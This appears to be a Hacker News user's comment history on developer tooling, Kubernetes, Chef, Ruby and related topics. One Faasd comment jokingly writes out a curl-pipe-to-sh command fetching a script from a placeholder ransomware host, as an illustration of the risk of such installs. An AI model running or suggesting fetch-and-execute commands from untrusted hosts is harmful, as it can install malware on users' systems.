gscho··on Amazon Destroys the Intellectual Justifications for Capitalism
Doesn't that create an opportunity for competition?
gscho··on Deno 1.6 supports compiling TypeScript to a single executable
I think you already answered the question. You don't need to introduce docker cli, docker daemon, a container registry, etc. Not saying theres anything wrong with docker but having options for application packaging is nice!
gscho··on Writing a Postgres Foreign Data Wrapper for Clickhouse in Go
I only just discovered foreign data wrappers today but it seems like you can write these in python though right? Might be easier than using Go to interface with C.
gscho··on Writing a Postgres Foreign Data Wrapper for Clickhouse in Go
This is really cool. I had not heard of Foreign Data Wrappers for Postgres before! Are these used in production commonly or more of a toy thing?
gscho··on Getting Started with Ansible
> Also have a look at community cookbooks, most stuff is very old.

A lot of the functionality offered by community cookbooks made it way into the core DSL. Most community cookbooks for installing applications were abandoned for other approaches though.

>I think chef have totally killed their community by doing that stupid EULA move.

I agree. Seems like they tried to move to the "redhat model" without having a centos style OSS version. CINC has come along and filled that gap: https://cinc.sh/

gscho··on Netlify for the frontend, Micro for the backend
Heroku IS the netlify for backends. This product has good intentions though. Good luck!
gscho··on Covid vaccine: First ‘milestone’ vaccine offers 90% protection
> Intentionally murdering possibly thousands of people (or tens of thousands? or what, who knows?!) for some assumed political gain is absolutely, 100% an unreasonable decision for any human to make. Intentionally delaying a vaccine would certainly be a crime, no? Not to mention absolutely abhorrent and completely evil.

You mean delaying the announcement of a vaccine. They didn't delay the process.

gscho··on Faasd – Lightweight Serverless for Raspberry Pi
What would be cool is a command line util that you could pipe the script to for a safety inspection.

Something like: curl https://ransomeware-encryptor.example.com | script-checker | sh

gscho··on Faasd – Lightweight Serverless for Raspberry Pi
Can you explain why this is so unacceptable? Couldn't you inspect the contents at the url before you executed the command? What I've seen in some cases is, run the curl command to download the file and then execute it. I don't see much difference. This is a serious question, not arguing that this is the best way.
gscho··on Waypoint: Build, deploy, and release applications across any platform
After reading through some examples, I came away with the same thought. I hope that the roadmap extends this into the CI space further!
gscho··on Show HN: Deploy to K8s without YAML using ShuttleOps
We've resolved the issue with all 3 providers, thank you!
gscho··on Show HN: Deploy to K8s without YAML using ShuttleOps
Just a quick update. We have disabled oAuth2 logins (Github, GitLab and BitBucket) temporarily while we update our configuration settings.
gscho··on Show HN: Deploy to K8s without YAML using ShuttleOps
None taken! This is great feedback.
gscho··on Show HN: Deploy to K8s without YAML using ShuttleOps
Thank you for catching this. We are resolving this now
gscho··on Show HN: Deploy to K8s without YAML using ShuttleOps
Thanks for the question! Currently you can view what has changed on the pipeline executions page. Having a pre-deployment planning phase is on the roadmap as well.
gscho··on Show HN: Deploy to K8s without YAML using ShuttleOps
Hi! ShuttleOps allows you to create workflows for deploying to Kubernetes without writing YAML manifest files. In that way you could consider it a visual/gui for the terraform kubernetes provider, sure!
gscho··on Show HN: Deploy to K8s without YAML using ShuttleOps
Supporting pre-existing Helm Charts and k8s manifests as artifacts is still on the roadmap, and that needs to be achieved first before we can achieve a GitOps philosophy like Weave Cloud.

Ps: Hofstadter looks cool!

gscho··on Show HN: Deploy to K8s without YAML using ShuttleOps
Hi! Greg from ShuttleOps here. We currently do not support import of existing YAML and helm manifests but that is certainly on our roadmap
gscho··on What we learned after a year on Kubernetes
...and you need to use their SaaS to make it work, no?
gscho··on What we learned after a year on Kubernetes
You can't just say helm is garbage without saying why.
gscho··on AWS IAM is having issues again
Let's all move to serverless!
gscho··on Ask HN: What finished/done/complete software do you use?
Moment.js https://momentjs.com/docs/#/-project-status/
gscho··on Cloudcraft – Architect and budget cloud infrastructure
I really enjoy using this product for creating architecture diagrams! I would never use it to creat budgets though. I hope it expands to other clouds and frameworks and then I would pay for it over lucidchart.
gscho··on TOML – Tom's Obvious, Minimal Language
Self plug: I wrote a simple web app in the same vain as jsonlint and yamllint for toml files. https://toml-lint.com
gscho··on Ruby adds experimental support for rightward assignments
(There's more than one way to do it)
gscho··on Ruby adds experimental support for rightward assignments
If everyone thought like this there would only be one language that everyone used. Writing software is creative.
gscho··on Ruby adds experimental support for rightward assignments
If your 10th clause is an unless then you're using it wrong. I agree that unless and the right hand assignment can be used incorrectly but that's not a reason to omit the feature :)
gscho··on Chef to be acquired by Progress
Perhaps they are looking at Habitat which is a cross-platform package manager that competes with Chocolatey somewhat.
gscho··on Ask HN: Has anyone migrated off containerized infrastructure?
We currently use habitat in production on VMs and have been happy with it.

It helped us solve a few pain points with deploying to VMs:

- dependencies are packaged and shipped with you app (no apt get install) so dev and prod environments are the same - local development happens against a docker container that contain all our prod services running inside of it (redis, postgres, Kafka, etc.) - built in CD and rollbacks via deployment channels

gscho··on Ask HN: Has anyone migrated off containerized infrastructure?
Concourse is a great CI tool. Sounds like the real issue was a lack of understanding how it works. Yes, each step in a pipeline is a container but you can put all logic in one container if you wanted, not just a lint command.
